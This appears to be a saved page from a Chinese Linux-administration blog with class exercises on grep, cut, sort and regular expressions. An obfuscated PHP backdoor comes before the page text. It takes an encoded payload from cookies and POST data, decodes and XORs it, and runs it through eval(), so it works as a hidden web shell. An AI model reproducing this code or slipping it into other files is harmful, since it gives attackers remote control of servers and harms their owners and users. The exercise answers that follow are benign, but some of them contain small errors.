$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 面授20期2班-08月4号课堂与课后习题 | Linux运维部落

面授20期2班-08月4号课堂与课后习题

课堂习题

1、显示/etc/init.d/functions文件中所有的单词及出现的次数

cat /etc/init.d/functions | tr -sc "[:alpha:]" '\n' |sort | uniq -c

2、找出ifconfig命令结果中本机的所有IPv4地址

centos6:ifconfig | head -2 | tail -1 | cut -d: -f 2 | cut -d" " -f1

centos7:ifconfig | head -2 | tail -1 | cut -dt -f2 | cut -d" " -f2

3、查出分区空间使用率的最大百分比值

[root@shao ~]# df | cut -c 44-46 | sort -nr | head -n2 | tail -n1

4、查出用户UID最大值的用户名、UID及shell类型

方法一 cat /etc/passwd | cut -d: -f1,3,7 | sort -nrt : -k 2 |head -n 1

方法二 sort -nrt: -k3 /etc/passwd | head -n1 | cut -d: -f1,3,7

5、查出/tmp的权限,以数字方式显示

 stat /tmp | head -4 | tail -1 | cut -d/ -f1 | cut -d\( -f2

6、统计当前连接本机的每个远程主机IP的连接数,并按从大 到小排序

netstat -tn | cut -d: -f2 | tr -s " " ":" | cut -d: -f2 | sort | uniq -c

7、显示/proc/meminfo文件中以大小s开头的行;(要求:使 用两种方式)

方法一 grep -e ^s -e ^S  /proc/meminfo
方法二 grep -i ^s  /proc/meminfo
方法三 grep  ^[sS]  /proc/meminfo

8、显示/etc/passwd文件中不以/bin/bash结尾的行

grep -v "/bin/bash$" /etc/passwd

9、显示用户rpc默认的shell程序

getent passwd | grep ^"\<rpc\>" | cut -d: -f1,7

10、找出/etc/passwd中的两位或三位数

grep -o "\<[[:digit:]]\{2,3\}\>" /etc/passwd

11、显示/etc/grub2.cfg文件中,至少以一个空白字符开头的 且后面存非空白字符的行

grep -o  "^[[:space:]]\+[^[:space:]].*" /etc/grub2.cf

12、找出"netstat -tan"命令的结果中以'LISTEN'后跟0、1 或多个空白字符结尾的行

netstat -tan | grep "\<LISTEN[[:space:]]*$"

13、添加用户bash、testbash、basher以及nologin(其shell为 /sbin/nologin),而后找出/etc/passwd文件中用户名同shell名的行

 useradd -s /sbin/nologin nologin
 useradd bash
 useradd testbash

方法一 getent passwd | grep "^\(\<.*\>\).*\<\1\>$"

方法二 getent passwd | grep "^\(\<[[:alnum:]]\{1,\}\>\).*\<\1\>$"

14、显示当前系统root或mage用户的UID和默认shell

方法一 grep -E "^(root|mage):" /etc/passwd | cut -d: -f3,7

方法二 grep -e "^root\<" -e "^mage\<" /etc/passwd | cut -d: -f3,7

15、找出/etc/rc.d/init.d/functions文件中行首为某单词(包括下划线)后面跟一个小括号的行

grep  -E  "^([[::alpha]_])+\(\).*" /etc/rc.d/init.d/functions

16、使用egrep取出/etc/rc.d/init.d/functions中其基名

echo /etc/rc.d/init.d/functions | egrep -o "f.*$"

17、使用egrep取出上面路径的目录名

echo /etc/rc.d/init.d/functions | egrep -o "^.*/"

18、统计以root身份登录的每个远程主机IP地址的登录次数

last | grep root | egrep -o "[[:digit:]]+.[[:digit:]]+.[[:digit:]]+.[[:digit:]]+" | uniq -c | sort -t" "


课后练习

1、用扩展正则表达式表示IP地址

ifconfig | egrep -o "\<(((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\>"

2、用扩展正则表达式表示手机号13 14 17 15  18

egrep -o "\<1[134578][0-9]{9}\>"

3、用扩展正则表达式表示身份证号18

egrep -o "\((1[1-5]) | (2[1-3]) | (3[1-7]) | (4[1-6]) | (5[0-4]) | (6[1-5]) | (71、81\82))([0-9]){4}(19|20)([0-9]){2}((0[1-9]) | (1[0-2]))(0[1-9]|([0-9])|(2[0-9])|(3[0-1]))([0-9]){3}([0-9]|X)\>"

4、用扩展正则表达式表示邮箱

qq邮箱:

egrep -o "\<[1-9][0-9]{4,9}@qq.com\>"

所有邮箱 :

egrep -o "\<([[:alnum:]]+(-|_)*[[:alnum:]]*)\>@([[:alnum:]]\.)+[[:alnum:]]+"

原创文章,作者:liushaoshao,如若转载,请注明出处:http://www.178linux.com/30569

(0)
上一篇 2016-08-08 16:08
下一篇 2016-08-08 16:08

相关推荐

  • rpm软件包管理

    一:二进制应用程序组成部分 二进制文件(which command)、库文件(ldd `which command`)、配置文件(.conf)、帮助文件(.README)等 二:rpm包文件的组成 rpm文件、rpm元数据(如名称、依赖性关系等)、安装或卸载时运行的脚本 三:rpm包数据库: 1.组成部分(通过 ls /var/lib/rpm 来查…

    2017-08-13
  • 基于ansible自动部署keepalived+nginx来调度amp

    实战作业: (1) 主/备模型的keepalived+nginx (2) httpd+php+php-mysql (3) mysql-server或mariadb-server         拥有testdb库,并允许testuser对其拥有所有权限 实验环境: 主机1:10….

    Linux干货 2016-11-07
  • Nginx基础

    Nginx基础 目录 Nginx概述 Nginx的优点 Nginx相比Apache 编译安装Nginx Nginx配置文件讲解 ngx_http_access_module模块 ngx_http_auth_basic_module模块 ngx_http_log_module模块 ngx_http_stub_status_module模块 Nginx概述 En…

    Linux干货 2016-11-01
  • 走向了一条不归路 – – 开始

    前言:很高兴在这里认识大家,跟大家一起学习一起进步。  基础知识 1.计算机系统的组成 2.计算机的体系结构 3.存储网络 DAS–直接连接存储   (数据块)   存储设备与主机的紧密相连       1.管理成本较低,实施简单   &…

    2017-07-16
  • 由摩根定律引发的思考

    在Linux中,我们常常需要对一些条件进行判断,而对于多个条件的组合判断是基于摩根定律而进行的。所以理解摩根定律对于我们学习条件判断是很有必要的,下面我们就先介绍摩根定律进而引出其在一些具体场景上的应用。   一、摩根定律 在Linux中的条件判断中,摩根定律可以以下式来表示: !( A || B )=!A && !B !( A &…

    Linux干货 2016-08-16
  • 高级文件系统管理(swap,RAID,LVM)

    交换分区wasp swap文件系统:     linux上的交换分区必须使用独立的文件系统;         其文件系统的system ID必须为82 创建swap设备,文件系统,使用mkswap命令 创建步骤:   &…

    Linux干货 2016-08-30